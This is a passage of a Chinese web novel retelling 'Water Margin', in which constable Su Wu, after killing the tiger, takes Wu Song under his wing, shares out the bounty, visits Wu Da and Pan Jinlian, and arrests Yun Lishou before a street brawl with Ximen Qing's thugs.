武松说起来还有几分不好意思,这事多少有些尴尬。 “家中还有什么亲人?”苏武这是明知故问。 “有一个兄长,自小相依为命,也是兄长养大了我,此番回去啊,自是要好好孝顺于他。”武松说得认真,也说得有几分动容。 “武姓,你行二,也就是说你家兄长行大,武大?你说说你那兄长什么模样?可是长得很是矮小?” 还是明知故问,倒是话没说全,不仅矮小,还丑。 “诶,哥哥你怎么知道?”武松一脸惊奇。 “你不用去清河了,就随我去阳谷县吧,你家兄长搬到阳谷来了,在县里卖炊饼,还娶了妻,小日子过得不错呢。” 苏武笑着。 “当真?”武松更是激动不已。 “我还能又诓骗了你?”苏武带着笑。 “看来当真,遇到哥哥,真是有好事呢,好好好,就去阳谷!” “既然你喊我一声哥哥,咱们有这兄弟情分,到了阳谷啊,这样吧,我给你在县衙谋一份差事,俸钱不多,一贯五也足够过日子了,如此你也算自力更生,也好孝敬你家兄长,好生过日子,咱们有事办差,无事吃酒,好不快活,如何?” 苏武看着眼前的热血青年,话语里那也是投其所好,已然就是要手拿把掐。 “再好不过,拜谢哥哥大恩!”武松立马起身躬身拱手大礼来拜。 武松哪里还能有拒绝?此时武松,也真是足够倒霉,逃到小旋风柴进的家中这段日子,过得着实不好,人际关系很差,不受人待见,柴进也看不上他,寄人篱下,多是憋闷。 还大病一场,病了也只能自己在回廊边烧火取暖,过得很惨。 也是这浑汉自傲非常,甚至有几分目中无人,若非今日亲眼看到苏武夜半一人猎虎,便也不会正眼看人。 但这浑汉有一点好,那就是只要让他看上眼看对眼,必是掏心掏肺。 此时苏武,不仅让他看上眼了,还如此待他好,更是感激在心。 但苏武随手一挥:“什么恩不恩的?兄弟之间,莫说这话。” “哥哥,往后你就知晓我武二郎是个何等好汉!”武松激动一语。 真是人不能比,就说那小旋风柴进与眼前哥哥一比,那真是一个天上一个地下,差距十万八千里。 第6章 我这条命,就是哥哥的了! 伐来几根长木,横七竖八把老虎绑在木头上,左右十几个人抬着。 苏武脱了甲胄走在人前,众人簇拥在后。 已然是一个个喜笑颜开。 这个在说:“随着都头抬着大虫入城,只怕县里万人空巷来看啊……” 那个在答:“这还用说?试问当今天下,还有谁一人半夜能猎如此大虫?” “都头当真威武啊!” “那些什么江湖好汉,与都头一比,不知差得多少去!” “这话不假,江湖好汉我见多了,哼哼……不过尔尔,比起兄长来,那自是完全不能比。” 说这话的是武松,他刚在柴进庄子里与一大群江湖好汉共处一年,受了一肚子气,真是一群狗屁不是的东西。 苏武笑着摆手:“好了好了,赶路要紧,天亮要入得城去交差。” “好嘞!” “得令!” “都头说什么就是什么,卖力气卖力气,赶路赶路……” 七八十号人,飞快赶路去…… 天只蒙蒙亮,那阳谷县的城门还未开,城门口早已聚集了无数辛苦人。 进城卖菜卖粮的,卖碳的,卖山货的,卖果子的,卖粗布的…… 乃至还有运水进城去卖的…… 都是营生…… 就看远远一只大虎被众人抬着走来,所有人侧目去看,甚至有人已经放下自己的营生往前去围…… 猎户衙差们,七嘴八舌在说。 苏都头自是云淡风轻往城门下去:“开门了,今日可又要晚了,太阳都出来了。” 城楼上一个军汉探头探脑出来看,看了几眼,又揉了揉眼,再看几眼,一声惊呼:“快开门快开门,苏都头竟是真把景阳冈上的大虫给猎回来了!” 就听那军汉脚步飞奔在跑,城门片刻就嘎吱嘎吱在开。 先冲出一队军汉,只往那大虫围去看…… “你看这虎爪,这么大……” “九百斤,怕是九百斤……” 越来越离谱了,这老虎大是大,也没大到这个地步。 只待众人看老虎的时候,苏武带着武松先往城里进,因为他知道一会儿这些人就要回头来围着他了…… 快走快走! 走得不远,就看身后有人在追:“都头慢些,都头慢些……” 这是故事也传开了,显然刚才众人只以为是衙差猎户们一道猎的虎,此时才知是苏都头一人半夜猎的虎。 苏武不仅不慢,还加快脚步,他知道自己今天还要游街,先回衙门里把事情交代完再说,还有一笔丰厚的赏钱要领。 苏武前脚进的县衙,后脚,衙差猎户军汉百姓,便也跟着涌进来一大堆,吵杂非常。 老知县孟义虽然醒得早,却还在床上抱着小妾呢,听得嘈杂连忙起身从后衙往前来,还准备问是出了什么事,只到大堂往院里一看。 “好家伙!”孟义也被这只虎的巨大给震惊了一下。 苏武与众人行了个礼,不等苏武说话,众人已然开始七嘴八舌说个不停,甚至不乏添油加醋…… 孟义一边听一边看苏武,看着看着,双眼越睁越大,然后也起了几分感动,竟然忽然抱拳与苏武拱了一下:“没想到啊没想到,竟是这般……听得本县心中起了几分惭愧,对不住了。” 苏武连忙也拱手:“不敢不敢……” “不易啊!也是上官逼迫,好在你全身无恙,幸事幸事,你这份功劳,本县铭记在心。”孟义起了几分唏嘘,转头就喊:“来人,取一千贯钱来,不,两千贯!” 苏武闻言愣了愣,应该是一千贯吧?故事里武松得的赏就是一千贯,怎么还涨价了? 可别小看这两千贯钱,一个衙差或者军汉,一个月也就挣一贯五左右。 城外一亩好田的价格也不过十贯左右,一头壮年好牛,也不过十贯左右,城里的二层临街小楼,还带小院,也不过二百贯上下。 两千贯,真是一笔巨款!俗话也说,腰缠万贯,就是富人了。 也可见这只老虎堵住了交通要道所带来的麻烦之大。 苏武正要说点什么谦虚话语…… 孟义已然摆手:“不必多言,一千贯是府衙里的赏,另外一千贯,是县衙里的赏,谁猎的虎,自是归谁,不必推辞。” 苏武也就不说谦虚话语了:“多谢知县相公。” 满场众人,一个个也是喜笑颜开,更是与有荣焉,喝彩叫好无数。 知县接着安排:“来人,备马,带苏都头去游街庆祝……” “好嘞!”董坚第一个奔去,衙门有马,只管去牵来,还有大红花也要安排上。 还要安排那些敲敲打打乐队,自家都头,牌面要足。 众人只管把苏武往衙门外簇拥去…… 还当在门口等一会儿董坚安排的那些牌面。 却是赏钱先到,直接两个大箱子抬到衙门口,衙门口早已水泄不通。 看着大箱子,苏武左右看了看:“二郎,打开。” “好嘞。”武松上前,打开两个大箱子,一串一串,黄澄澄的铜钱码放得整整齐齐。 苏武说道:“林卯,你们猎户出力甚多,还死了八人,死的八个,每家送去五十贯钱当抚恤,还有……昨夜只要是出了力的,不论是衙差还是猎户,一人二十贯赏钱。” 林卯闻言一愣,回头看了看一起来的那些猎户兄弟,上前一礼:“万万不敢分都头的赏钱,此虎乃都头一人所列,我等岂敢贪功?” “是啊,都头,万万不敢啊……若是个两三贯,倒也就受了,二十贯,实在是太多了,愧不敢当啊。” “不敢不敢啊……” 众人连连拒绝,连自家衙差都拱手辞谢。 就听苏武又是虎目一张,还带呵斥:“我说怎么办就怎么办,你们若是不要,那就是不拿我苏武当兄弟,从此之后,路边相见,再也不识!” “啊?”林卯愣住了,这话也说得太重了,又回头去看众兄弟,便是询问意见。 “拿是不拿,你们自己看着办!”苏武把头一偏,当真就是个不拿就绝交。 就看一个少年人上前往地上一跪:“都头如此待我等,还对我恩重如山,这钱,我拿!我愿认都头这个哥哥,从今往后,我这条命,就是哥哥的了!” 少年人李成! 苏武立马答道:“好,你的命我不要,你这个兄弟,我认了!” 说着,苏武转身:“二郎,数钱。” 武松此时心中激动不已,什么是好汉?什么才是真正的好汉?此时此刻,眼前这一幕,当真叫人看得热血沸腾。 数钱,五十贯是抚恤,二十贯是赏钱,一共七十贯,好多串铜钱,里面有当十钱当五钱不同面额,也不算特别沉重。 数完都往李成身上塞去。 李成抱着钱,头往地上一磕:“待我带钱回去安顿了嫂嫂侄子与老母,再来都头身边伺候!” 磕完头,李成起身就走,走出了一种决绝。 苏武开口问众人:“你们呢?” 林卯再回头看了看,上前……竟也是双膝一跪,一个头就磕:“都头,大恩不言谢,这钱我拿了,来日自也会对得住都头!” “好,都来拿!”苏武一脸欣慰点头,事也成了。 武松连连数钱,一个一个发。 再看周遭围观的百姓,不知多少羡慕的眼神,二十贯,何其多?便是住在城里,用度全靠买,一家老小一年也不过这么些营生了,还得是殷实人家。 “苏都头当真义薄云天啊!” “是啊,早知苏都头是这般有情有义之人,何不早早与他结交才是!” “若是知道今日,我便也自发随去猎虎了。” “你还去猎虎,你看到那大虫啊,裤子都要湿。” “你才尿裤子,你尿裤子!” …… 满场百姓越聚越多,早已是嗡嗡一片议论纷纷…… 董坚也回来了,看着众人分钱,也听着林卯无奈之语,明白过来,又看了看自家都头的虎目,也是无奈,拿吧…… 钱分得差不多了,武松正准备把已经差不多要空了的箱子盖起来。 却是苏武近前来看了一眼,还剩下个一二百贯的样子,苏武直接提起几串往武松塞去。 武松连忙摆手:“哥哥,我就不要了……” “你初来乍到,又要安身,还要侍奉兄长,男人无钱怎么能行,拿着!”苏武语气不容拒绝。 “哥哥,我有……”武松是真有,在柴进府中遇到了郓城宋江,宋江给了一些,走的时候,柴进送瘟神,也打发了一些。 “拿着!你莫不是也要不认我这个兄长!”苏武怎么可能让武松还去念那宋江的小恩小惠? “哥哥自己可不多了……”武松又道。 “有兄弟就行,钱财用了自然又来。”苏武还是那云淡风轻。 “好吧……”武松点着头,接过钱,心中只想哥哥当真是个仗义疏财之人。 “上马游街!”苏武几步走去,董坚上前来披花,上马。 吹拉弹唱也起,众人簇拥着,老虎也抬着,就让阳谷县的百姓看看到底是五六百斤还是八九百斤…… 第8章 二郎啊,你当听都头的话语才是 就看苏武在衙门里,真有几分威武,还是个目光如虎,看着西门庆几人,只等西门庆一个答复了。 西门庆还真不是一般人,倒也没有急着答话,有了一副不怒不喜的样子,兴许是在思索什么。 但西门庆身后出来一人,一脸大怒:“苏都头这是什么意思?莫不是我们兄弟好欺负不成?” 苏武看他一眼,倒是眼熟,认识这人,这人名叫云理守,正是西门庆结义的九个兄弟之一。 这人之所以牛逼,是因为他的兄长云理万,正是驻守阳谷县的参将。 所以说,西门庆这一伙人,其实还真的势力不小。 当然,云理守也不是一个什么好玩意,本也是个欺男霸女的主,平常里跟着西门庆混,那是因为没有个正当职业,只待他有一日混起来了,西门庆的遗孀都逃不脱他的辣手。 便是云理守出来说话,苏武一旁的董坚都起了几分担忧之色。 苏武也在打量云理守,这人还有几分人高马大。 苏武起身,眼神微眯,只说:“你们兄弟十人聚义在阳谷,好大的声势,平常里也不见你们来某这里走动,此番,五百贯,少一个铜板,来日好教你们知道知道某的手段!” 以往的苏武,显然是一个比较中规中矩的人,今日不同了。 连董坚看着自家都头都有了几分意外。 云理守又上前一步,正要分说,西门庆拉了拉他,换了个笑脸:“苏都头如今威势也是不同以往了,在这衙门里是个人物,只待我们兄弟回去商议一二,苏都头,就此别过!” 说着,西门庆摇着折扇转头就走,那云理守自也跟着走,却还回头瞪了一眼苏武。 苏武也不拦着,他也知道这五百贯钱也不是那么好拿的,还要一个斗争的过程, 既然矛盾挑起来了,先要个杀鸡儆猴,那就先选云理守这只鸡,这只鸡耀武扬威的,正值得五百贯钱。 只待人一走,董坚连忙说道:“都头,西门庆与云理守他们,可不好惹啊……” 苏武摆着手:“今时不同往日,咱们啊,以往就是太本份,所以弟兄们都过得不太好,往后啊,日子自是不同。” 衙差,都是本地人,真不是一份多好的职业,中规中矩的,只能说是养家糊口。 若是恶起来,吃拿卡要的,都是本地同乡人,不免又是个人见人恨,一个不慎还要翻车。 反倒是那铁打的衙门流水的官,他来一任,本地大户豪门之中捞一笔,便去了下一任,又不多管事,又不得罪人…… 所以说,还是当官的好。 董坚其实更是个老实人,良家子,听得都头话语,答道:“都头,咱们兄弟,只求个平平安安……” “罢了,与你多说也没用,只看某的手段就是。”苏武答着,自也出门去。 去哪里?去武松家里,真要杀人放火,身边董坚他们这些衙差其实靠不住,不是说人靠不住,而是说他们还做不来这些事。 反倒是林卯、李成那些猎户更靠得住一些。 最靠得住的,莫过于武松了,那是杀人不眨眼的降魔太岁人物。 武大郎的家也不难找,街边随便一问就是,也是个临街的二层小楼,武大租的,先敲门。 “谁啊?”是武大的声音。 “某乃衙门里的都头,来寻你家二郎。”苏武还带了点礼物,街边买的一些桂花点心,基本礼节是要有的。 门一开,不是武大,是武二。 武二激动不已:“哥哥怎么就来了,快请进,还说往衙门里去拜会呢!” 苏武一边往里进,也有话语:“怕你兄长以为你还如以往那般浪荡,不信你的话语,所以上门来帮你说项一番。” 武松更是激动,转头与武大郎说道:“兄长,你看,我说吧,你还不信,哥哥上门来,是不是?我真就去衙门里上值了。” 武大已然连连作揖:“多谢苏都头抬举我家兄弟。” 苏武连忙上前去扶:“自家人,就不必这么客气了,我与二郎一见如故,二郎这般汉子,谁看了不喜欢?” 武松这种人,就是人敬他一尺,他敬人一丈,便是连忙上前来拉苏武:“哥哥落座,正是备了酒菜,我好好敬哥哥几杯好酒,快坐快坐。” “谁来了?”侧屋里走出一个女子,手端菜盘,莲步款款,聘聘婷婷。 只看一眼去,腰肢小扭,身材匀称,只去看脸,眉如春柳,眼含媚丝,两个小脸蛋红扑扑的动人,正是一脸的高兴,还带几分春风。 潘金莲! 见识了,难怪西门庆看一眼就神魂颠倒走不动道了,还真不是一般人顶得住。 但武松顶得住,而苏武是见识太广,轻松也顶住了。 “嫂嫂,这位是咱县衙里的苏都头。”武松一直是个激动状态,直接介绍。 “哦?莫不是那夜半孤身打虎的苏都头?”潘金莲眉眼里带着笑容看着苏武,更还有一个上下打量。 “正是!”武松话语比谁都快。 “真真就是苏都头当面?果然……高大威猛,俊朗不凡,奴家这厢有礼了!”潘金莲微微低头,福礼而下,却还侧眼来看。 看就看吧,她主动看的,却又好似被人偷看了,又是个眼神去躲,还带几分羞涩。 苏武只觉得浑身被看得抖了抖,这女子,比那景阳冈上的大虫也不差。 “幸会!”苏武稍稍抬手。 看完苏武,潘金莲又去看她叔叔武松,那更是热情,左右招呼:“都坐都坐,也尝尝奴家的手艺,今日真是大喜事,叔叔回来了,都头也上门了,奴家心里甚是欢喜……” 武大郎真是个老实人,只是一脸憨笑,要论招待客人这种场面事,他比潘金莲还真就差了十万八千里去。 众人落座,分说几番,潘金莲拿起酒杯:“大郎怎么不与都头敬酒?都头如此大恩,岂能怠慢?那就由奴家来吧……” “好说好说……”苏武拿酒就喝。 武松自是大大咧咧:“哥哥,再来吃一杯,小弟敬哥哥!” “干!”苏武抬杯一饮。 “小弟就喜欢哥哥这般爽快人,这小杯不爽快,是妇人家用的,不若拿碗来,如何?”武松兴致大起。 “正合我意!”苏武大手一挥,干就干。 “奴家去取……”潘金莲已然起身,一旁武大郎只点头:“好好好……” “干!”苏武先发挥! 这一碗下去,苏武开口:“明日,明日二郎就来衙门里上值,莫要贪玩,既然做了正事,就当有个模样。” 武大郎点着头:“二郎啊,你当听都头的话语才是。” 武松一碗干尽,抹了一把嘴:“兄长与哥哥放心就是,如今不比年少,在外年余,那是看透世间冷暖,唯有兄长抚育之恩,还有哥哥抬举之情,不敢懈怠!” “正是好日子来了呢……”潘金莲也高兴不已,她有她的心思。 她本是张大户家的奴仆,被张大户欺辱了一番,却又被女主人殴打辱骂不说,还发给了武大郎做妻。 武大郎又是个老实人,只知道一天到晚卖炊饼,虽然冻不着饿不着,但人还有其他的需求,那就是一张脸面。 与武大郎过日子,就没了那张脸面,谁人见了不免都是个笑话。 却不知武大郎有这般一个弟弟,如今,这个弟弟也受到了打虎英雄的看重,这脸面好似都要有了,往后在这阳谷县里,也能把头抬高几分。 酒过三旬,苏武也不再多喝,与武松喝酒,那是不可能喝得过,苏武还要留几分清醒,起身也就辞别而去。 一家人连忙出门来送,送到街上,还要拉扯几番。 临了,苏武叮嘱:“二郎啊,少吃酒,莫要误了明日的事。” “哥哥放心,这就不吃了!” 武松也是个说到做到的汉子,当真回家就不吃酒了。 却是那西门大官人的生药铺里,正是热闹非常。 (也不知有没有兄弟在看哦,留个言给个票,弄一点点动静安慰一下啊……) 第9章 来人呐,拿下大狱! 回到家中,苏武的家,虽然不至于是家徒四壁,还是有几分寒酸,若不是在武松家里蹭了顿饭,回来还要自己做。 洗漱一番,倒头就睡,只待明日。 此时此刻,西门庆的生药铺里,已然是济济一堂,九个兄弟来了八个,因为刚刚死了一个,病死的,名叫卜志道,也不重要。 其实西门庆这十个结义兄弟,大多也不是什么人物,多是街边破落户,泼皮无赖之辈。 几人聚集,自是商议今日之事。 “要我说啊,便是给点颜色与那都头看看,莫不是以为打了一只虎,就真的在阳谷县是个人物了?” 这话是云理守说的,他在这结义十人中自是不一般,参将之弟,也算见过世面与手段。 有个叫应伯爵的说道:“还是要从长计议啊,毕竟他是衙门里的都头……” 应伯爵就是破落户,本是继承了一些小资产,败得也快,如今跟着西门庆混,靠嘴巴混口饭吃。 西门庆为何是老大?没什么,有点钱,舍得花,场面事面面俱到,街面上颇有威名。 云理守看了看应伯爵,又看了看西门庆,只说:“哥哥,你说,咱们还能在阳谷县的地界里让人给欺负了?他苏武算个什么东西?以往,咱进出衙门里,正眼也不带瞧他的,他就配给咱们传个话的差事,打了便打了,又能如何?不闹出人命就是!” 众人只待西门庆拿主意,西门庆是个人精,他想了又想:“他在知县相公那里刚刚立了大功,又在阳谷县里出了大风头,此时此刻还真不能轻易去打,免得知县相公脸上过不去,到时候不免给咱们几分脸色看……” 应伯爵立马接话:“是吧……所以说从长计议。” 西门庆接着又说:“若是不打,却是难平心中之气,真是猫猫狗狗都逞起了威风,这样,他不是说要找咱们麻烦吗?且看他找个什么麻烦,若他先动手,岂不是咱们就有理在先了?到时候动起手来,知县那里也好分说。若他只是口中说说,那过些日子,给他一顿教训,他自也就是老实本分了。” “对对对,还是哥哥说得有理!”云理守立马来夸。 应伯爵也不慢:“那是,哥哥自是智计无双!” “好了,既然今日大家聚得齐,吃酒吃酒!”西门庆那也是有个大哥样子。 只待天亮。 苏武起床洗漱出门去,刚在街上走几步,就碰到了早已走遍几条街的武大郎。 武大郎挑着担子,见到苏武先迎上去:“都头都头,早间还未食吧?” 武大郎担子一放,已然在选那炉子上热乎乎的炊饼。 “你也早啊……”苏武其实很感动,他猜得到为何自己出门就能碰到武大郎,这个兄长对弟弟是真的好,用心良苦。 “卖炊饼的营生,自是比人起得早的,未想刚好碰上都头,趁热趁热,都头快请。”武大一边说着,一边给苏武递炊饼。 苏武也不拒绝,接过先咬了一口:“好吃,二郎可往衙门去了?” “去了去了,早早就去了。”武大郎连连点头,也不多说什么,其实也是不会说什么话语,只会暗自来做。 “你自放心就是,你家兄弟啊,我是打心里真喜欢他,不会亏待。”苏武明白这炊饼的意义。 “嘿嘿……二郎若是有什么做得不好的地方,都头只管打只管骂,他自小学了武艺,街边浪荡,逞凶斗狠,定要管教。” 武大脸上都是憨笑与真诚。 “嗯,放心就是,你家二郎啊,如今不比以往了,比你想的要懂事得多。”苏武边说边从怀里掏了掏。 还没掏出来,武大先把扁担上肩,起步就走,随后也说:“都头可万万不要客气啊!” 看着武大两条短腿倒腾得飞快,苏武笑了笑,也不掏了,再吃一口炊饼:“多谢了!” 只待到了衙门里,武松连公服都换好了,腰刀也挂上了,范阳笠也在头上扣着。 董坚办事还真不差。 “二郎卖相着实不错,又威武了几分。”苏武笑着。 武松一脸得意:“自是不能给哥哥丢脸面。” “叫几个兄弟,走,出门转转去!”苏武抬手一挥,干活。 最近倒也没什么缉贼捕盗的事,杀鸡儆猴的事还有一桩。 直往运河码头去,运河其实并不很宽,十来丈的样子,但足够走这个时代的大船,不过也经常泥沙淤塞需要疏通。 码头上的苦力很多,养活了不少人。 三教九流也在此聚集,乃至什么赌坊,暗娼,街边小茶舍也多,许多浑汉卖了一天的力气,赚不到几个钱,却还把钱都消费了出去。 西门庆在这里,有一门大生意,放贷,小额贷。 贷出去就要收,收钱自然就靠暴力,谁是西门庆此时此刻手下第一暴力呢? 其实就是云理守。 这两人之间,也不能直接说是大哥小弟,更多也是一种合作关系,故事里,云理守将来甚至比西门庆混得还好。 苏武带着武松董坚与七八个衙差,到了码头,便吩咐:“去寻一寻,看看今日云理守在不在这里……” 董坚干这种活是把好手,自是带人去找。 片刻之后,董坚就回来了:“赌坊门口,正在打人。” 苏武飞奔就去,正看到云理守带着一帮泼皮在殴打一个汉子。 那汉子被打得满地打滚,连连讨饶:“云大官人,饶命啊饶命啊,明日就有钱,明日就有钱。” “又等明日,你若是再还不上,你那妻子虽然丑是丑了点,但也值得几个价钱,怎么样?” 云理守还有一脸的笑容。 “明日我真有,明日真的有……” “打,接着打。” 便看一众泼皮再是个拳打脚踢,打得是哀嚎不止。 “住手!朗朗乾坤,岂敢当街打人!”苏武到了。 云理守抬眼一看,竟然是苏武,笑脸一止,面色凶恶:“这不是苏都头吗?都头如今威势大啊,欠债还钱天经地义之事,这你也要管?要不你替他把钱还了?” “欠债不还,可官府去告,私刑便是不能,再说,这么多人刚刚听到你逼人卖妻,此乃大罪!” 苏武左右看了看,却见众人一个个眼神回避。 参将兄弟,真是有点威势。 “苏武啊苏武,你真是要多管闲事?”云理守满脸凶恶,威胁问道。 “来人呐,把这当街行凶逼人卖妻的贼人拿下大狱!”苏都头就是来杀鸡儆猴的。 只是这鸡也不好杀,只看他从旁边随从身上拿过一柄铁尺,往前一指:“我看谁敢!” 董坚这种良家子,还真是有点不敢,打虎是为了保住工作,虎打死了也没什么后果,这云理守可真不好惹。 第10章 哥哥也是好武艺 武松却早已跃跃欲试,正要在哥哥面前表现。 却见苏武毫无预兆,先一步出去,脚步极快,拳头在手,照着云理守的脸就去。 打架,苏武也是一把好手,擒拿格斗,这也是他的专业。 为何不等武松表现? 因为要让武松再憋一憋。 说时迟,那时快,苏武动手毫无预兆,动作还快速非常。 就听云理守哎呀一声往后栽倒,却是踉跄之间又站定了,手中铁尺直往苏武砸去,还有骂声:“直娘贼,你还真是吃了熊心豹子胆!” “哎呀!” 又是一声,铁尺还未砸到人,云理守只感觉两眼一黑,一个摆拳结结实实印在面门,踉跄之间,直往地上一趟。 “快快快,一起上!”这是云理守躺在地上说的话语。 苏武可不管这些,身形再去,一把坐在云理守身上,大拳头再是砸。 噼里啪啦几下,云理守已然是昏死过去。 苏武抬头来看,一旁十几个泼皮,一个个目瞪口呆。 董坚已然也上前来:“怎么?你们还当真要与我家都头动手不成?你们怕是不知景阳冈哪只大虫是如何死的?” 董坚还真是反应也快,只看一群泼皮,当真没人上前来,只是有人早已转身就跑,倒也不是逃跑,是跑去报信。 听得董坚话语,苏武笑了笑,好勇斗狠杀人放火的事,良家子一般还真做不来。 “绑了带回衙门牢里去,那个欠债的也带回去!”苏武起身来吩咐。 再看左右围观的人群,又凑近来看。 还有人问:“苏都头当真要把这云理守下狱?” “那是自然,以往某是没有过问细致,而今看他们如此仗势欺人,某乃县衙都头,岂能不管?”苏武要个名。 “他……他们可不好惹啊……”有那卖茶的老汉来说。 “管他好不好惹,阳谷县的地界里,总归是要几分公平正义!”苏武大义凛然。 众人却又不敢多说,却是那眼神倒也有趣,似是畏畏缩缩,似也是有几分期盼希望…… 看来,还是要真正立个威势,西门大官人这块垫脚石得好好用用。 众目睽睽之下,人已绑好,抬着走。 众多百姓,也有人跟着去,便是好事之人,也要看看热闹,且看苏都头与西门大官人掰手腕,到底哪个更强,又会是个什么精彩。 董坚还准备要驱赶众人,苏武抬手止住了,人多正好。 只待走到半路,往前打眼一看,就看到西门大官人带着二三十个泼皮迎面走来。 董坚看得对面走来的人,已然心惊,连忙问:“都头,这可如何是好啊?” 这回都头先不说话了。 武松已然开口:“还能怕了他们?我武松这辈子就不知道什么叫做怕!” 说着,武松就要拔腰刀。 苏武笑着说:“腰刀就不必了,免得闹出人命,拳脚足矣。” 武松刀柄一松,拳头一捏:“哥哥,兄弟我最擅长拳脚。” “不急!”苏武摆摆手,只等西门庆上前来。 西门庆已然上前,看了看场面,问道:“苏都头,你怕是不知我这云兄弟是何人吧?” “怎么?云理万的胞弟就能逼人卖妻?”苏武问道。 西门庆眉头就皱:“兄弟我还想着与都头好好说项,看来都头已是铁了心了?” “什么铁了心了?某乃衙门都头,主持公道,办差管事是本职!”苏武只当听不懂,要的就是动手干起来。 还得干个名声在外,干进百姓的心里去,也就是苏武真把这阳谷地界当做地盘来经营了,他显然不是那些江湖好汉的思路,因为江湖好汉的道路走不长远。 却见那被绑得严严实实的云理守忽然悠悠转醒,左右看看,便是大喊:“哥哥救我,我让这厮偷袭得手了,快快救我,待我起身,定要与他不死不休!” 西门庆倒也不犹豫,目光也凶,问:“苏武,人,你放是不放?” “哥哥,还与他多说什么?一并绑衙门里去!”武松实在是忍不住了。 被绑得难受不已的云理守更是呼喊:“哥哥,怕什么?出了什么事,有我兄长在呢,诸位兄弟,快快动手!” 这两人,两声哥哥喊着,两位哥哥似乎都在等着这番话语。 苏武在等武松实在憋不住的那一股牛劲。 西门庆在等云理守大包大揽,把他家做偏将的兄长拉进来。 此时两番话语一落,西门庆大喊一声:“救人!” 武松喊都不喊,一马当先就去,刚才没表现上,此时此刻,岂能不表现?岂能让自家哥哥丢了面皮? 众人当真不知他武松是如何一条好汉! 场面瞬间暴起! 对面二三十人就来,铁尺、木棍、哨棒。 武松一人就去,只有一双拳头紧捏! 嘭! 一声闷响,武二郎是真有铁拳,一个泼皮应声而倒,连惨叫都来不及就昏死倒地。 就这双铁拳,难怪武松打晕了人会以为自己打死了人。 就看左右棍棒铁尺无数,武松似乎都懒得去躲,有那木棍砸在武松身上,武松好像浑然未觉,转头又是一脚窝心。 再看一个泼皮,身体倒飞而去,满脸紫绀颜色,重重倒地,倒是不曾昏死,只是捂着胸口,口中也有声响:“呃呃……呃呃呃……” “二郎好武艺!”苏武出言来夸。 武松更是激动,转头再去,出拳,啪。 又倒一人,回头再来,翻身而起,飞踢,又是一人倒飞。 场面当真赏心悦目! 只是一众泼皮忽然个个定住了,这辈子哪里见过这般场面? 便也是第一次见识到什么是“如同天上降魔主,真是人间太岁神”。 其实,苏武也是第一次见识,这场面是有点夸张了。 连西门庆看得都愣在当场,他也算习练武艺之人,这般武艺,还是人吗? 武松已然打得正酣,飞身而起,左边再去,空中有他长腿在扫,正是他傍身武艺鸳鸯脚。 那一个泼皮更是连反应都来不及,人就飞倒在一间店铺门口去。 只待武松再转头,一众泼皮脚步已然下意识在往后退。 西门庆也下意识退了一步。 “打!追着打!”苏武看完表演,已然起身上场,本是杀鸡儆猴,连猴也到了,这般局势,那就彻彻底底先打灭一个威风。 苏武上前追去,架势有不同,但也是侧腿飞扫,便看一个泼皮立马从竖着变成横着。 “哥哥也是好武艺,只是这架势路数不曾见过!”武松也来夸。 第11章 都头当真好胆气 苏武听夸,也是起劲,更往一个跑得慢的泼皮奔去,擒拿格斗之术,他还真极其擅长。 比起武松来,街斗的经验也许不足,但许多后世的套路与技巧,兴许更科学。 其实也不好比,只待来日与武松多交流多练习多切磋。 还有一些需要学,那就是冷兵器的使用,这一点苏武与武松比,那几乎算是门外汉。 就看苏武瞬间再击倒一人,武松更是要表现,他浑身巨力,左手一个右手一个,竟然抓着两个泼皮的脖颈往地上一摁。 那两人脑袋上已然就是头破血流,哀嚎不止。 一切发生得太快,西门庆都看呆了,回过神来,先看左右,手下之人一个个都在后退。 他自己反倒站在了头前,就站在了苏武当面。 西门庆连忙抬手摆开架势,准备迎战。 却看苏武忽然脚步一止,站在西门庆面前两三步外,开口问:“大官人昨日在衙门里说回去与众兄弟商议之事,商议得如何了?” 武松再击倒两人,已然也站在苏武身边。 西门庆看了看苏武,又看了看武松,还去看了看被绑缚的云理守,吞了吞口水,答道:“那是小事罢了。” “看来这买卖是成了?”苏武再问。 “好说!”西门庆答得也快,却还在与那云理守使着眼色。 “行,大官人可莫要拖沓。”苏武笑着说。 “好说好说,午后就来取。”西门庆连连点头。 “行了,看来大官人也不准备救人了,那就回吧。”苏武挥挥手。 西门庆当真转头就跑……跑得几步,忽然又不跑了,便是左右观众太多,他知道自己不该是那抱头鼠窜的模样。 便立马直身迈步,还把手中折扇打开摇了摇,慢慢走。 武松在旁还笑:“他还装个处变不惊?” 苏武也笑:“西门大官人,自是威势不凡。” 也不知西门庆是听到了还是没听到,脚步却加快了几分。 武松也问:“哥哥,怎么就这么轻易把他给放走了?” “来日方长,许多事要一步一步来,今日先灭他威风,他此番定也不会老实,他还有救兵能搬,他那救兵才有趣呢……” 苏武要把西门庆当声望来刷,一次一次的薅羊毛,钱也要一次一次都薅出来,先薅五百贯买车买房。 “哦……”武松似懂非懂。 苏武得胜,再去看左右那些围观的好事者,有些人是惊讶,有些人是暗自欣喜,有些人当真还是看热闹的模样。 还有人上前来问:“苏都头莫不是当真要惩治那西门大官人?” 苏武摆摆手:“某倒也不是非要惩治谁,某乃县衙都头,保境安民乃职责所在,自是谁作奸犯科,就要惩治谁。” “都头当真好胆气。”上前之人夸了一语,似乎对这位打虎的英雄多了几分信心。 便又有人说:“都头若是当真做到话语所言,那都头便真是一副忠肝义胆!” 这人似乎还有些不相信,却也有期待期盼,话语之中其实有激励之意。 也是这世道,与猛虎比起来,还是人更凶恶。 显然西门庆这一伙人在这阳谷县,欺压的人也不是一个两个。 苏武转头去看绑缚着的云理守,问:“你家兄长平常管你还是不管你的?” 这事得问清楚,其实也奇怪,云理万是驻在阳谷县的厢军主官,是东平府下的参将,平常里并不归知县孟义管辖,而是直接受东平府的管辖。 阳谷县自也属于东平府管辖,云理万有一个大名鼎鼎的上司,东平府兵马都监,人称双枪将董平。 董平也是水浒里战力数一数二的猛将,梁山马军五虎将之一,另外四人,关胜、林冲、秦明、呼延灼。 所以云理万在阳谷县,那也是势力极大,那些守城门的军汉都在他麾下,怎么他弟弟却跟着西门庆厮混市井? 听得云理守来答:“你现在知道怕了?我家兄长到时候来县衙里寻你,看你如何与他分说。” 看来是管的,挺好,苏武抬手一挥:“走,带回县衙里去。” 回到县衙,那只大虎的尸首还在院子里放着,先把云理守关进牢里去。 苏武把那欠债挨打的喊到面前。 那人只管跪地拜谢:“拜谢都头,拜谢都头。” “你叫个什么名字?”苏武问。 “小人成三。”那人跪地答着。 “嗯,你怕那云理守不怕?”苏武问。 “怕……”成三,一脸的可怜模样,却也是可怜之人必有可恨之处。 “你觉得他会放过你吗?”苏武再问。 “他……他……”成三答不出个一二三来。 